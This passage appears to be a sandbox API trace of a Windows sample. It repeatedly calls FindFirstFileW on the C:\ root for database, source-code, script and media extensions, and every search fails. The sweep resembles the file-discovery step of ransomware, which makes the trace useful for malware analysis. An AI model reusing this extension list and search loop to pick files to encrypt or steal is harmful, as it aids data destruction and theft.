lpOldMode=0x1ae7b0) returned 1 [0137.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.366] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.366] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.366] FindFirstFileW (in: lpFileName="C:\\*.accdb", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.366] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.366] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.366] FindFirstFileW (in: lpFileName="C:\\*.mdb", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.366] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.367] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.367] FindFirstFileW (in: lpFileName="C:\\*.dbf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.367] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.367] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.367] FindFirstFileW (in: lpFileName="C:\\*.odb", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.367] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.367] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.367] FindFirstFileW (in: lpFileName="C:\\*.mdf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.368] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.368] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.368] FindFirstFileW (in: lpFileName="C:\\*.ldf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.368] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.368] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.368] FindFirstFileW (in: lpFileName="C:\\*.cpp", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.369] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.369] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.369] FindFirstFileW (in: lpFileName="C:\\*.pas", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.369] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.369] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.369] FindFirstFileW (in: lpFileName="C:\\*.asm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.370] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.370] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.370] FindFirstFileW (in: lpFileName="C:\\*.cmd", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.370] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.370] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.370] FindFirstFileW (in: lpFileName="C:\\*.bat", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.370] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.370] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.371] FindFirstFileW (in: lpFileName="C:\\*.vbs", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.371] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.371] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.371] FindFirstFileW (in: lpFileName="C:\\*.sch", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.371] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.371] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.371] FindFirstFileW (in: lpFileName="C:\\*.jsp", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.372] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.372] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.372] FindFirstFileW (in: lpFileName="C:\\*.php", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.372] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.372] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.372] FindFirstFileW (in: lpFileName="C:\\*.asp", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.373] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.373] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.373] FindFirstFileW (in: lpFileName="C:\\*.java", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.373] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.373] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.373] FindFirstFileW (in: lpFileName="C:\\*.pkg", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.374] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.374] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.374] FindFirstFileW (in: lpFileName="C:\\*.class", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.374] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.374] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.374] FindFirstFileW (in: lpFileName="C:\\*.mp3", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.375] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.375] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.375] FindFirstFileW (in: lpFileName="C:\\*.wav", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.375] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.375] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.375] FindFirstFileW (in: lpFileName="C:\\*.swf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.375] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.375] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.376] FindFirstFileW (in: lpFileName="C:\\*.fla", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.376] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.376] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.376] FindFirstFileW (in: lpFileName="C:\\*.wmv", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.376] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.376] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.376] FindFirstFileW (in: lpFileName="C:\\*.mpg", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.377] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.377] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.377] FindFirstFileW (in: lpFileName="C:\\*.vob", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.377] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.377] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.377] FindFirstFileW (in: lpFileName="C:\\*.mpeg", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.378] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.378] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.378] FindFirstFileW (in: lpFileName="C:\\*.asf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.378] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.378] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.378] FindFirstFileW (in: lpFileName="C:\\*.avi", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.379] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.379] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.379] FindFirstFileW (in: lpFileName="C:\\*.mov", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.379] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.379] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.379] FindFirstFileW (in: lpFileName="C:\\*.mp4", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.380] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.380] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.380] FindFirstFileW (in: lpFileName="C:\\*.mkv", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.380] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.380] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.380] FindFirstFileW (in: lpFileName="C:\\*.flv", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.380] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.380] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.381] FindFirstFileW (in: lpFileName="C:\\*.wma", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.381] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.381] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.381] FindFirstFileW (in: lpFileName="C:\\*.mid", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.381] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.381] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.381] 